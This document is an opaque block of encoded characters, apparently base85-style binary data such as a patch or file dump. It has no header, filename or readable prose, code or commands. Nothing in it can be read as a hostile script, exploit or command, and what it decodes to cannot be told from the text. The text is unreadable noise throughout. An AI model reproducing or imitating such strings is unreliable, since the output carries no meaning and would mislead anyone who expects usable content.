zEN^ikA?BXqpUnh%IF0a5RDC4$@z#@2SQ7`l=qUW zGZB%~aI~bEijqv3Nn?HA>V&;zjXeC!Bk$A%D3^zIbUvYRD^z_Td6Dip9Zu>luCLx_ z?hGjA_jpFOhG#mOYnwmkgsQ`DepmZ>J@}4P_cQ%d5C2rVd?i)tZ#Kiz9$m+;u-u3L z4S)Rb={kr37kLi zaEjXke96Eu`Dwrc9JJ1O^J*}4H*_)cLVv50%~?Aq!+3Il3{)@jB_HN*8+(c4gE}u` z#cW5S*q&G91sEGX`J83?R7Q~cepf;iJ>%3ob7l7%*PTPn(Ebh;M7#)bBmV;Ac( zNRZ*aEY7q()%BM_r-r9og0hW>Hu>{P@|b}AKXl!&AAhc=P*G*KAv@sl&Wp6+_A%}C zJ5~*#0A0muriNX4p%tGCj_;JGI@nm9D;oW*#2~9jTd`3y(dh3hZf+ zZe-d0DenlfLQLKv=;549c#5;L?Hh0ERAp)XnqB8|ZFw>qn7?FE zE&R~rXWP2~K|&?%d03 zQhY87l7b{x$Mz$OC!)%#YIA4zr=0iD4k~pPwR3#RvEe!eXRsb`zCYWmb4vVp0jr+k zZX6Muc!gC&SXiloutb~`(DSUOid{W*MfnObqR%R?Ip(=*`o!oBY^<_ePZjvKA)Sjv0;mNpy z^aRpl37?lf0**aT-q>2VboVDj1Ph(!F?p3>@&^km)?Rb(_`0R)wX5&jsAeI7%vSNU zkz=z<*f8HVS02kiVLUw1F6Bj+#6(O-KdYM>-)FYuySJ_<_06H)Q;aX@4fmdbh}~2! zkNS{U`Dd);^}8Ot_u#nqO|w!0^VXjbkoNEhmZZeQ#Hf1r!Jlr)mJ)DJ27Rl9q#B1t zPw{e+gWz+)OX^7eE(t6D9Hh$=blQ(X^#XGh9f~8^*>N&TbE@idqrX#~;?(P_;%Ro1 z4IvovLYj{of5DN{zghHz|bKNVPw&>K#J$50ksWe;Fqa=jC=_=e-wKDu&Q@Fm0Xu}gPZ#kI@XxBH*59nW z+!F37=COGA9#>XxedpP{zA0nr;;FijIO&pC+lQUk7IWe9<<`t}4?{Dp!Dh&1Z@VPya zp!AeT7aTanTdUyu!2IzKQ2d|5*RI_k!G?v)M_oe~eb6RIzE0JN%t@Tm8MvIkon1Uwx$R z!RN|wn!MhsKo&?Zs7Ge|iE6Pg`MiLw{>3u}Wo8wQqR===18T=rT~y#j+Uk|Xl4*F=^~-{5f3s=x+A)vtVefRg_~SnAYTyqK1HNAz<1ewr z?Qz?SL;J(-v5`+l3EdHl{ZvA5?gG_ji*xOPohV%bEig<>@ z|6uL>b}a42=hLSl?E~GR)jQZ5azR%mTJ7X1?Y^#)$g3{V{D(?qrk0jHmHaR6SQ9Xna<#e(!GeOK})qZC5c4rssL^E{2!& z?)~d=M=?R?y>`^4C%B_y#FZXNT}!Is?f+`p?(lyUiTjNH*yY=yksRN~#&%5L=nF~} zTODB$Z0tgycWm6!xY~Pw2 zYIsm$EouIup^6Ib@5LrK))^usC=tSRxR7)2c`Y8DLy35q9(;x z_n@msoP%?nv;Pv-Z=I(SSSK2U9)ZG1tJZZRQdk%otmbug)=oc+3#;q*giH0r@HM{1 zsKM0GaP**t6%)UrN8&-kZLO`x>k3)W&vsz8)p`%pKvG2 zbbKmMNVl-}AF&^Crr&Y-`HnE@8T*~&`rcpjT;WDVl-8XrEb^{^>R+iAUT=a_hpsJQ z`-bLx&FD*J4Xr6QgS~9k9~J-7=P=OUm!YIIL!KLgid9v~zrt+{?WMw3+Mh@syiM(u zyesS?`+C+OZ0w%>Tw<+S$KoX^cV&SNi8j##nTE^=&U>|QUWI4xo4p1W!0!`SSfJ8tY>1jn)&t`&@oHX8uo~OQ5CXsZ)pl^p!mNS6@ku-+d)D|8HN( z;@`ul9gqD3fSx*a^c(;FuYch+f8!tjFL(fY>J;-I{Oy0?AOFT{{V#X`dg|0M*5BjH z{R^-48?XI8@B+uSfA_hh{6BpzWB&j~ICbjyKf~z!YZ&d{!|42vVPgLPpr=m#@ekhm zUwED0_$U9uzxqF70HCK%o%jdu`7ivF-+1uVJDJl`{voj~%l(ep2W-5@^}Ek?}fa;mbw!J*FhSc|i*@Y2@quwIuq+E$`y{lNl?k zXSIH|$?XntJ!;wqn!ec`9dz=qDI6V2Q&J<~X2>Xu&A6AWmjbv`5k=qUMNxJlqSpHx!S$8#(^puUto4#CO!Ua=a1d<<`=?W zc4kd~RKI=WvNF<>6rp;Se#Cu3Wzv>LAM_3K+_4sHBmA4QgEBO|@EbdxX<0*oEL=mFZ^R)r&=cBFvsm; zA9z_bb)afG6uz^xGw0!MwZ5)$Ax{-GcI{uAv(QO&4cgr?qGSU^sy26%FE2~Zc ze?9Z5P40YC0;PlSGM!}`blBlBeG-HmASEiwxjwoxkeH2i-i^8OcEC1)294T1e#5?B zJvk^R!=ya)|B7WS?njg(t z<{V8PRtaT7Zru$f&P|3rK@IFAnHOx2AhBrW+M$r$Src*h;l|?)w5LfP!AAA64>T92 zOFrD%%fGcZae{dY`@_QYO5Pf;hf`Zl{_ZDkB0Dbw`s9vvY>xkT!#3R^|H==(e>{RX z3@3H|tv(G<{70OmmWI16uP$p!yP9V(^S09;Enjdg+x22W-y{}9&Bw8{gu8AxaezL- zY=)PK`*VTA=ZA|uA8R)`J565+N0jXWvkGm^f6Y;S-~G>^8fDFsmSr7Ii3kBc>w$af z%IfqF;X#m4@Upt%1Lwnw7~#`5Cf;6pkgAjW>sYh=e^$*Wr!|QZ{z~^6TjrmhCa0Cq zkX#k;l(5$k}SDQb@-Tqj6>RqRE739pLCv06q&P9Fi33tUKRN!l3PiWepb>m801yXAm=Mu zAtf70tph!21kY_5--?zK<#8n2KrC7Q7PqvD~1JiJRK^JNa6 z#v4a2Tt{1^bXvhX%+2k;57xzn^;*saOV2 z=c(a_+RRmm@7~NRe2(N%4krlimWT0~Vh@5LceoVtT(@@$t2<)!+@r!Pxw_dJUu67ww4lUbpXp6=`7ifu3i> z&!;UHL-Ut-4g4!|NX_MYIV$9zKT|LD%Q|eCaM<3YakU60F2?g{$^qTcI!!wIjhgw| z?l%tzlM9>aZ*}8OqSGj+@jqqJC`>@A+O$6ky^Etgy zQmCT3CA8g~-*{#z0~utLaoyD%b?A8br(@^KcVMHS$H+N3n4^IUT;}`N6^AGh+t9gZ zS$-jRDzC(OC>0KZ(+kW$d(af(Xwx%4mw~KKh4HT4+x@%Kw7;h`#%HK+KYZZ#@!tWeisw3WgE zDZQOix&MJKMq3S4W@Iy>&VThB=@gI`+RfUFQk$^vIIZseNn6<>+$Wzqf zxHxIb=e^2fJ|K)M6xW;M^(f(T3G@b((*JvkeQ{Jek=eP*-JIJdkXe8Xj<|i2$!WfKL30jxq6IQs#!Bye z#k`gE?zuP8CNQ0PtYrl)_2ZOWa#JT|qAM!$arA0bY%oIQluW6nXLsHwlfb}yj59uM zmiGv}x|PbOk*_lNaX_!=w%1mkAAfn1&sbyG{s(VYoWcw0x~B{51S3ncGbAuW1?ysT zBsO*^_X<*sQhx(BB4@Sa0Qbgn%s^U|Ej{p(_BH61O+w43#~J19p?7EtB4~-uWDn%R zHOpTxu2DY3J-u@~pE#lRitM`K8Tz=1o1i>eQa#?#8_KSntbiXmDd9^x$Rb;`2`-vz zyzpzRn_a%P`GVV`@W|g0IFm8GIr*k{<8cqd!6Nk|_h`334z_{A1$EI%#2{CNXS*}UmBmWJ`J0z~z866qxDXS^Iy-lRF;wxPE(LaJ% z-h~e8G6jXPLYv*6ij&fnd|`y4(V&??R^8jxTq|~~hzDDHg1D9TT@e~aZ5g);m56Id zs>b%CC)Ch`)#1t=N*{?I3rL4EGSf5P?}tc{iaw;MjX^}ACs%O- zSPKs*YM=iIEEP;xC)$thSVf~or@jRY_$do$qY*y|i6gp_K|7i+UWlwtOR2Or3*&O~ z{kG8u=sFIB3=tyUbBH@YuroRlt(%ogyW%vBvf!($z3OeBI2D;A- zyf6_cwj;2FP$UJsn(jUVT9l6?>(n81Q~G6Vk7idJRK8PO-On>~mNQu*U81E zSt%qr4tJS+*~4g~u3@|9Bj|@BD$)vD;R}fk*gXI2h#mWZb42AX+=_u3nuV);4D z&51u#2t7G$$d6C^8?*XxHhM5dO+_%|E}+f-|5*yi{RJC}F)DR`y4MFnWp=~k=oYX# zqWTWkW>0Jq6t(R-Y{$dQdBa7@d{CT0x8kz^TX3sbh^FJ`DZ+to)ad0aS(FHXqCY_E zHoRjWX90cBshiF~Ms ze(hcuxv(dgWLJP6(I5&?Tc0!YY=>q2MP_())G6OnYg=XaWe??5ZeXRk%fZnQfvU*q z$S$PGQfiMPZjvInI%T-Qve{3!8HSgfpkEv$)htzT-qToy`C7pb(3gft&;Dcn{6(6W zQ*2l@-Ic{-{q5^(Mp#jSC#8hpc26}YL0KXpQI)BbIul+y;0-o&uP;2 zBkD9`&1pJd_M=vx<;#q^)UjTEi}w5R3vesRxw z!o>aj*D+GJTXHt<-fkJf%k$A(oH`!+WsNNHm0^zimggzJpLIJ)amrSnF|NT)+C-f~ z+YHMxWHWjMCEt~8>v*Cg@eA!wkuQs$4O1xK{uKnE0Fz*K!_8VTvmg?>*!Bx%;rl4F z7p|HO3nLmJkw45z4cirob2j&L{OeE&0Z~oM7;T2Q<%Zjj3c4+Z!;i|Fx7eQ7#56bn zzKViZL!XI^}}60i^dBk%|6yRy!mEzQng z;#87q|nv6)r>Ep|OC8WQOz)SFzi_9EmQ}v?a!z)dq2l_8Y zMOIZbj!rfQE&Y0yh}Nr(4>!smXk2Z;Jg^3|P-pgIrqu>9(ZQg~QNNb%zJbvjUYenc zg4E|Yz1ItlPK!?5B4Sg)7&Qrb?=G^qXxtsC>(=DS>Y*zo%pS1&QhS6A3f;O23jB_8XKN0(U z@I+n`I1zfMrU$k!ehDP}?0t8Q1bF+OU~_;J5OOciV)G{{ZHU+Zbu@fJnr{SCMP&zf z_GR-n^kXU?SXT(3*sP}5@hY>M%26r%fSzg+!9@fSL?GZ?(pEqeiLAn9meuV~q>sCU(DFGpfY zSCRPv(;(|hLOV9IfEpE&&1vhsO$w`QL^kJy{h(hEBJ1w)%A5_~yNYyBGx4?W6H)7h z{_>G@gPan7;_$QK@zOI&>li7%%dP;;^2q`4tG4F<3jB|)_G89;gJ?K2*3%F{b+?!x zIxi^&R8-mJ@7O(zA>ZfsqVh>>{CaFQI;O3xUh>fA(7OFWdS2R53&Z~}R^TP}9YM4= zJKq2wc4>}0Ja*O8rCrkHWn-g08~me0&_HCh#`riIZZtw+)+L)%c5yIE22@S@zmsA6 zQW9=dSbi7yAg{ard38^ywF>vwM}&mB=rx9f%5X=eaK81!ljtC5`BIx_Y5?>A{eHU; z(6H`40Z@13H$hRK)s8)DULA*&ITemQOTpO1c9VSUqmyWny;rE=db=zIC4DJ*)=01b zfB%z4H`%4|F_|z-@ZzCadk*1%9-)BGQWWULR04}}rcF@Psp1WItg<_uBmt`I2APyQ zo18z1CZJ(22H<|O=xIgVXu0(-Km7?qJhZw$Sl$l4{j~9CQvo#H=*V|h_EXtJ_MNLG zJfzJUuDc&O&)2MvW4D$a_inv>JP;yuh%Vl_S2^ac9+>hA_DHA=xFme82rYZ#Pk_02 zMC{Av?fWLWn)=@yUX$F#vt_k8LEmJ)6pxqeT>LeLvYt}EDhhUJ_fWTZI4|1+MI7d(fYIwIeh*cXmS2R!IHNTBdIbbj^s1i z_`xAz?Km3`3FG?*z?+O(E+^3+PQZ-K3Xr2)M#gG5oxEXMLu%cRrpJnMX(^S-l%ef0 zFHu~$9ys;^DwQS>1FcVDToQFFjtFVa03+WRVOTmHo?PE=_7^LSku3k47u`J_-Sf_~3QPGVg$tgHTA`J?ZUlPxr@Ahc@3XRK|1{%=V0x z<#?{EL;d5(8;hZ3@Q^s%L)JF6yc&Zj^^pfJZo3->mIk~MW^a=0BaeMuDaRN+8(!Ya zQbs7LTrDXH;5z|6h;c0{^gS;bQ@EYhTPFOMtZ|CJBSK*{{)x}6bRH34aPgytPysLR<&hsWgscK`S&1cv6z?gVS<@)r~ z)JXe@#O~ZYvW??~hrQF0krd-?Ff^t}(w+@SoxtBx?i?!QUd$|H+$r2!d+k9)Z%Hal zVN!XY2G6Vz$#G_zHU9+TG9Q*+YI{u5oR#yuD-z>`1%K6Dj|t z2yb}RIF3U!mGrg8loNmMw}+F;Va@<9nZf!hSm+L9^)T@PIx&YlG38j;wl%B&3E3>UQ}dy zfOpahWr%Tg6+OFze0jr?*wK`mjD3yC^h3*z6fHAZ46S%O#wY+X<&Tj_sl3un{(v;j z55i$Ro=DnQwK*ZE6y?@jEbeTsu05^%`dr>Z2E$0Ae|uUu@_S?l!Ic-*miw{NTlpzu zCp}(%B(S7g8)aTF=Iec=NtXI$TC}~IFR?igXt2!t@GH^J)tr4z-G4~7G%tVVHoYRl zd~y#j8+F75@Q zvHsW5nMdGq*X^Znq5c(pioo~rlb{*Ekf#KgH#z$#r#~}TH9f-=Oaim-AC#aID`mGR<8q4EnW z{&BV!HzA1`CHC+}cED>?6q!3A!)@2t4_^&;DgE^;E%x|jWEA3W^s@v$R-<-PYN_wb z6)pN~xLZ@OPMa?E-ha8w%fggj)GfYMVpc_g6sjC9PACo>jyXuKq*L>dLG5(IsFRBN zOMd0S;K54pu*`jKe1!r>)4X3jzTyR#G2BV6E_XH}R!!RN$!^#WcNZ?p5~em9Lcltm zH;%v^d|x{-B+K2a2{8NSv#!}#IJ=t5zbeexRPFL3*R_Xj8%WsH*! zTbi|)jTuK^)at!IefqxY=ZO#a3EUwmS|oh=b-krnd63mcB-`hzf7-BoTEHAS?d*2QxII_szuOw0eQ71s6eMJ;8`M=!|w}wK;gf#)t-M*bR z8NWZ!LA;$d3Eq%fsElJQi9x0wNb|_iUjs4Zv;0Z0{p~z6kOOI?05IBF2FjehAfNYgQr8mtW&Q2U7a?Qw!U^21 z&CdNia1q$;U0JIPwD%04nf=EdNJ7CpPwkl>dR^9bW%I^`63Pv*veJ7w+OV9*(7a5g zRN(u=LAbBNjP>WN95T$)pvF)zZ2Mu}G{@>K{yToI12SSi@7l-$}3*nx-s3J4LtHk5rf4K}B3H zzRC$kpp5OK{z)euz+1w5grO1)dh5P9nOMcHdD@h91WmFow{naq$a*)H(J9)HY)p-E zk}?!RGpvg=8r*A@-IaB~i4QGV!Rzwt-a=3Xy=&KaOv=4W*rAW1MQ1SD^m45xj3gDt zH5SVLb!9WqKpt)0*Q^!p4>(7EDHPco?4;Wa6Up1)Bk*UxW1x17)}Tj|f_qP3@g#aL z9HX84b>+9EL@53$eAT5TXYbls&@Ay5GRUAwxTkLf9;Gm$)F&I(kk3z|i;F|rb9j|Cdz>=27>Ra)inEph+2|@ENHl5F}k}s<&<4CWr z=F=fhO?q4?M~Y3se4@T*%r}gjo4*d~uX3sYX`AIPE1k%ns-RAzo1qmiW_%Vb%Sg>@ zT#h(#3)Tnq$y;q6M}{DW4%1u4U-xyA!GkUf(VaamGeQ#;btMiH_v@5JOJ;>#&5=-J z?nXw#RC8XwpjNa+E7^(d#d3RHbcBm+8rzN|LjJ&4x1R_{?)tWxY)a|6#z2z4y?HJs zmj*E(*W5@Du@l|dhzRUpAgBltQY!x1#-GfbWe?FHUvFfQKE#){H6{%uYj1Dn(E{~d zj+M-H5ANQ@Z}=5ij=JQNZE{Za&Kr2Keml*Q_2Bv%SA>|MpFSt6znk&=m*=hqi^PR? zj<{A3ho0)T- z!-=wC+%UVyQbO>iB_milkSR*`s_=tXZ!P_@`UlhB?<=K}ATsE8TW9}}pYQQ~2@T9| zVtLx+B-q)U*^eh}I%k3op3&F7(p&$;K9*;~~n!Aq<0oti* zCsK7=E52Iq-2Ouzsm-pErB1&b){LRe>OI++@4+*4?TS-;^tlI=+w!jaL^K=SygJ3SM2-!NrHU|jG?ZtFRDhXGa@8Ik zkZH!$3ITqD2V@DegPzDbf{vDA+5`{KZ}*0S577A&iA4n&4heMTpzoVio&#NwFr@|N z0Psoxosw^FAZQHj&v_077IH+@;)W~W<_1k?EDt&8I|=}crI`R)>C$y_q~VJbsW~(`1`A~I+5=XWrXxtpcm9^i`(&m zW>ANX